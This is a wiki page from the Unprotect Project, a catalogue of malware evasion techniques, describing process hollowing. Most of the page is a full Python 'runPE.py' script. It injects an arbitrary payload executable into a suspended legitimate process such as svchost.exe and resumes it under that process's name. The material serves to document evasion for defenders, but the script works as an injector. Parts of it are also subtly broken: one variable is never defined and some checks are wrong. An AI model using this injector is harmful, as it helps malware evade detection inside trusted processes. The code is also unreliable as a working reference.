Process hollowing

From Unprotect Project
Revision as of 20:55, 6 November 2016 by Admin (talk | contribs) (Code example)

Jump to: navigation, search

Process hollowing is a common technique that inject a code in a suspended process. This technic could be use by malware to avoid detection and inject the code into a legitimate process.

How it works

To use process hollowing, attackers uses the following API:

CreateProcess: in a suspended mode with the CreationFlag at 0x0000 0004.

  • GetThreadContext: retrieves the context of the specified thread.
  • ZwUnmapViewOfSection: Unmaps a view of a section from the virtual address space of a subject process.
  • VirtualAllocEx: allocates memory within the suspended process’s address space.
  • WriteProcessMemory: writes data of the PE file into the memory just allocated within the suspended process.
  • SetThreadContext: sets the EAX register to the entry point of the executable written.
  • ResumeThread: resumes the thread of the suspended process.

Code example

<class="mw-collapsible mw-collapsed wikitable">

  1 from ctypes import *
  2 from pefile import PE
  3 import sys
  4 
  5 if len(sys.argv) != 3:
  6         print "Usage: runPE.py Payload.exe Target.exe"
  7         print "Example: runPE.py HelloWorld.exe C:\windows\system32\svchost.exe"
  8         sys.exit()
  9 
 10 payload_exe = sys.argv[1]
 11 target_exe = sys.argv[2]
 12 stepcount = 1
 13 
 14 
 15 class PROCESS_INFORMATION(Structure):
 16 	_fields_ = [
 17                 ('hProcess', c_void_p), 
 18                 ('hThread', c_void_p), 
 19                 ('dwProcessId', c_ulong), 
 20                 ('dwThreadId', c_ulong)]
 21 	
 22 class STARTUPINFO(Structure):
 23 	_fields_ = [
 24                 ('cb', c_ulong), 
 25                 ('lpReserved', c_char_p),    
 26                 ('lpDesktop', c_char_p),
 27                 ('lpTitle', c_char_p),
 28                 ('dwX', c_ulong),
 29                 ('dwY', c_ulong),
 30                 ('dwXSize', c_ulong),
 31                 ('dwYSize', c_ulong),
 32                 ('dwXCountChars', c_ulong),
 33                 ('dwYCountChars', c_ulong),
 34                 ('dwFillAttribute', c_ulong),
 35                 ('dwFlags', c_ulong),
 36                 ('wShowWindow', c_ushort),
 37                 ('cbReserved2', c_ushort),
 38                 ('lpReserved2', c_ulong),    
 39                 ('hStdInput', c_void_p),
 40                 ('hStdOutput', c_void_p),
 41                 ('hStdError', c_void_p)]
 42 	
 43 class FLOATING_SAVE_AREA(Structure):
 44 	_fields_ = [
 45                 ("ControlWord", c_ulong),
 46                 ("StatusWord", c_ulong),
 47                 ("TagWord", c_ulong),
 48                 ("ErrorOffset", c_ulong),
 49                 ("ErrorSelector", c_ulong),
 50                 ("DataOffset", c_ulong),
 51                 ("DataSelector", c_ulong),
 52                 ("RegisterArea", c_ubyte * 80),
 53                 ("Cr0NpxState", c_ulong)]	
 54 	
 55 class CONTEXT(Structure):
 56         _fields_ = [
 57                 ("ContextFlags", c_ulong),
 58                 ("Dr0", c_ulong),
 59                 ("Dr1", c_ulong),
 60                 ("Dr2", c_ulong),
 61                 ("Dr3", c_ulong),
 62                 ("Dr6", c_ulong),
 63                 ("Dr7", c_ulong),
 64                 ("FloatSave", FLOATING_SAVE_AREA),
 65                 ("SegGs", c_ulong),
 66                 ("SegFs", c_ulong),
 67                 ("SegEs", c_ulong),
 68                 ("SegDs", c_ulong),
 69                 ("Edi", c_ulong),
 70                 ("Esi", c_ulong),
 71                 ("Ebx", c_ulong),
 72                 ("Edx", c_ulong),
 73                 ("Ecx", c_ulong),
 74                 ("Eax", c_ulong),
 75                 ("Ebp", c_ulong),
 76                 ("Eip", c_ulong),
 77                 ("SegCs", c_ulong),
 78                 ("EFlags", c_ulong),
 79                 ("Esp", c_ulong),
 80                 ("SegSs", c_ulong),
 81                 ("ExtendedRegisters", c_ubyte * 512)]
 82 
 83 def error():
 84         print "[!]Error: " + FormatError(GetLastError())
 85         print "[!]Exiting"
 86         print "[!]The process may still be running"
 87         sys.exit()
 88         
 89 
 90 print "[" + str(stepcount) +"]Creating Suspended Process"
 91 stepcount += 1
 92 
 93 startupinfo = STARTUPINFO()
 94 startupinfo.cb = sizeof(STARTUPINFO)
 95 processinfo = PROCESS_INFORMATION()
 96 
 97 CREATE_SUSPENDED = 0x0004
 98 if windll.kernel32.CreateProcessA(
 99                                 None,
100                                 target_exe,
101                                 None,
102                                 None,
103                                 False,
104                                 CREATE_SUSPENDED,
105                                 None,
106                                 None,
107                                 byref(startupinfo),
108                                 byref(processinfo)) == 0:
109        error()
110         
111 
112 hProcess = processinfo.hProcess
113 hThread = processinfo.hThread
114 
115 
116 print "\t[+]Successfully created suspended process! PID: " + str(processinfo.dwProcessId)
117 print
118 print "[" + str(stepcount) +"]Reading Payload PE file"
119 stepcount += 1
120 
121 File = open(payload_exe,"rb")
122 payload_data = File.read()
123 File.close()
124 payload_size = len(payload_data)
125 
126 print "\t[+]Payload size: " + str(payload_size)
127 print
128 print "[" + str(stepcount) +"]Extracting the necessary info from the payload data."
129 stepcount += 1
130 
131 payload = PE(data = payload_data)
132 payload_ImageBase = payload.OPTIONAL_HEADER.ImageBase
133 payload_SizeOfImage = payload.OPTIONAL_HEADER.SizeOfImage
134 payload_SizeOfHeaders = payload.OPTIONAL_HEADER.SizeOfHeaders
135 payload_sections = payload.sections
136 payload_NumberOfSections = payload.FILE_HEADER.NumberOfSections
137 payload_AddressOfEntryPoint = payload.OPTIONAL_HEADER.AddressOfEntryPoint
138 payload.close()
139 
140 MEM_COMMIT = 0x1000
141 MEM_RESERVE = 0x2000
142 PAGE_READWRITE = 0x4
143 
144 payload_data_pointer = windll.kernel32.VirtualAlloc(None,
145                                 c_int(payload_size+1),
146                                 MEM_COMMIT | MEM_RESERVE,
147                                 PAGE_READWRITE)
148 
149 
150 memmove(                        payload_data_pointer,
151                                 payload_data,
152                                 payload_size)
153 
154 print "\t[+]Data from the PE Header: "
155 print "\t[+]Image Base Address: " + str(hex(payload_ImageBase))
156 print "\t[+]Address of EntryPoint: " + str(hex(payload_AddressOfEntryPoint))
157 print "\t[+]Size of Image: " + str(payload_SizeOfImage)
158 print "\t[+]Pointer to data: " + str(hex(payload_data_pointer))
159 
160 
161 print
162 print "[" + str(stepcount) +"]Getting Context"
163 cx = CONTEXT()
164 cx.ContextFlags = 0x10007
165 
166 if windll.kernel32.GetThreadContext(hThread, byref(cx)) == 0:
167          error()
168 print
169 print "[" + str(stepcount) +"]Getting Image Base Address from target"
170 stepcount += 1
171 
172 base = c_int(0)
173 windll.kernel32.ReadProcessMemory(hProcess, c_char_p(cx.Ebx+8), byref(base), sizeof(c_void_p),None)
174 target_PEBaddress = base
175 print "\t[+]PEB address: " + str(hex(target_PEBaddress.value))
176 
177 
178 print
179 print "[" + str(stepcount) +"]Unmapping"
180 if target_PEBaddress ==  payload_ImageBase:
181         if not windll.ntdll.NtUnmapViewOfSection(
182                                 hProcess,
183                                 target_ImageBase):
184                 error()
185 
186 print
187 print "[" + str(stepcount) +"]Allocation memory"
188 stepcount += 1
189 
190 MEM_COMMIT = 0x1000
191 MEM_RESERVE = 0x2000
192 PAGE_EXECUTE_READWRITE = 0x40
193 
194 address = windll.kernel32.VirtualAllocEx(
195                                 hProcess, 
196                                 c_char_p(payload_ImageBase), 
197                                 c_int(payload_SizeOfImage), 
198                                 MEM_COMMIT|MEM_RESERVE, 
199                                 PAGE_EXECUTE_READWRITE)
200 
201 if address == 0:
202         error()
203 
204 print "\t[+]Allocated to: "+ str(hex(address))
205 
206 print
207 print "[" + str(stepcount) +"]Writing Headers"
208 stepcount += 1
209 
210 lpNumberOfBytesWritten = c_size_t(0)
211 
212 if windll.kernel32.WriteProcessMemory(
213                                 hProcess,
214                                 c_char_p(payload_ImageBase),
215                                 c_char_p(payload_data_pointer),
216                                 c_int(payload_SizeOfHeaders),
217                                 byref(lpNumberOfBytesWritten)) == 0:
218                 error()
219 
220 print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
221 print "\t[+]Pointer to data: " + str(hex(payload_ImageBase))
222 print "\t[+]Writing to: " + str(hex(payload_data_pointer))
223 print "\t[+]Size of data: " + str(hex(payload_SizeOfHeaders))
224 
225 print
226 for i in range(payload_NumberOfSections):
227         section = payload_sections[i]
228         dst = payload_ImageBase + section.VirtualAddress
229         src = payload_data_pointer + section.PointerToRawData
230         size = section.SizeOfRawData
231         print
232         print "[" + str(stepcount) +"]Writing section: " + section.Name
233         stepcount += 1
234         print "\t[+]Pointer to data: " + str(hex(src))
235         print "\t[+]Writing to: " + str(hex(dst))
236         print "\t[+]Size of data: " + str(hex(size))
237 
238         lpNumberOfBytesWritten  = c_size_t(0)
239 
240         if windll.kernel32.WriteProcessMemory(
241                                 hProcess,
242                                 c_char_p(dst),
243                                 c_char_p(src),
244                                 c_int(size),
245                                 byref(lpNumberOfBytesWritten)) == 0:
246                  error()
247                  
248         print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
249          
250 print
251 print "[" + str(stepcount) +"]Editing Context"
252 stepcount += 1
253 
254 cx.Eax = payload_ImageBase + payload_AddressOfEntryPoint
255 
256 lpNumberOfBytesWritten  = c_size_t(0)
257 if windll.kernel32.WriteProcessMemory(
258                                 hProcess,
259                                 c_char_p(cx.Ebx+8),
260                                 c_char_p(payload_data_pointer+0x11C),
261                                 c_int(4),
262                                 byref(lpNumberOfBytesWritten)) == 0:
263          error()
264 
265 print "\t[+]Pointer to data: " + str(hex(cx.Ebx+8))
266 print "\t[+]Writing to: " + str(hex(payload_data_pointer+0x11C))
267 print "\t[+]Size of data: " + str(hex(4))
268 print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
269 
270 print 
271 print "[" + str(stepcount) +"]Setting Context"
272 stepcount += 1
273 
274 windll.kernel32.SetThreadContext(
275                                 hThread,
276                                 byref(cx))
277 
278 print
279 print "[" + str(stepcount) +"]Resuming Thread"
280 stepcount += 1
281 
282 if windll.kernel32.ResumeThread(hThread) == 0:
283         error()
284 
285 print
286 print "[" + str(stepcount) +"]Succes"